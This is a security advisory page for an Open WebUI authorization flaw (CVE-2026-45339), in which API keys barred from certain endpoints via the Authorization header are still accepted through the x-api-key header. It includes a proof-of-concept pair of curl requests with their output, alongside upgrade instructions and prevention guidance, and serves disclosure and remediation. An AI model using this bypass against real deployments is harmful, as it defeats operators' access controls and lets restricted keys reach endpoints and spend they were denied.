Skip to content

PYSEC-2026-3543 CVE-2026-45339 GHSA-57q6-fvp4-pqmm

Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints

Medium PyPI
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.31%
Chance of exploitation in the next 30 days. Higher than 23.72% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-863 Incorrect Authorization
Fix
Available
2 packages have a fixed version

Description

Summary

Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.

Details

Open WebUI's Anthropic-compatible API path accepts authentication via x-api-key header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the Authorization header. When the same sk-... key is supplied in x-api-key, the restriction check is skipped but the key is still valid for authentication.

This means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using x-api-key instead of Authorization.

PoC

Verified against Open WebUI v0.8.11.

Setup: Admin creates a user with an API key that has endpoint restrictions (not allowed on /api/v1/messages). A mock OpenAI-compatible model (mock-model) is configured.

API_KEY="sk-dc56016d720e49ba9e95584d602b79bb"

# Test 1: Authorization header — BLOCKED (endpoint restriction enforced)
curl -s -X POST http://target:8080/api/v1/messages \
  -H "Authorization: Bearer $API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'

# Test 2: x-api-key header — BYPASS (same key, restriction skipped)
curl -s -X POST http://target:8080/api/v1/messages \
  -H "x-api-key: $API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'

Verified output:

# Authorization header:
{"detail":"API key not allowed to access this endpoint."}

# x-api-key header (SAME key):
{"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"input_tokens":1,"output_tokens":1}}

The same API key is rejected via Authorization (403) but fully processed via x-api-key (200 with model response).

Impact

Any API key with endpoint restrictions can bypass those restrictions by using the x-api-key header instead of Authorization. This undermines the entire API key permission model:

  • Keys restricted from chat/completion endpoints can still send messages and receive LLM responses
  • Keys restricted from admin endpoints may access admin functionality
  • The operator's intended access control is silently ineffective
  • API credit spend cannot be controlled through endpoint restrictions

Affected versions

PyPI

PackageVulnerableFixed in
open-webu
< 0.9.0
0.9.0
open-webui
< 0.9.0
0.9.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

open-webu PyPI → 0.9.0

pip
pip install --upgrade "open-webu>=0.9.0"
poetry
poetry add "open-webu>=0.9.0"
uv
uv add "open-webu>=0.9.0"

open-webui PyPI → 0.9.0

pip
pip install --upgrade "open-webui>=0.9.0"
poetry
poetry add "open-webui>=0.9.0"
uv
uv add "open-webui>=0.9.0"

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-wvm9-9g5j-623f
Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-4qg5-cxx4-g927
Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-jqhh-cjmq-vmv6
Open WebUI: Any authenticated user can hang the server via a cyclic chat message history
Medium Also affects open-webui
GHSA-5x7x-4c3c-qf5w
Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets
Medium Also affects open-webui
GHSA-3cgp-3cqx-j8w2
Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree
Medium Also affects open-webui
GHSA-34r3-9m95-vq73
Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch
High Also affects open-webui
GHSA-2724-6cpj-gf3v
Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion
High Also affects open-webui
GHSA-3pf7-q2g3-wj28
Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions
Medium Also affects open-webui
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor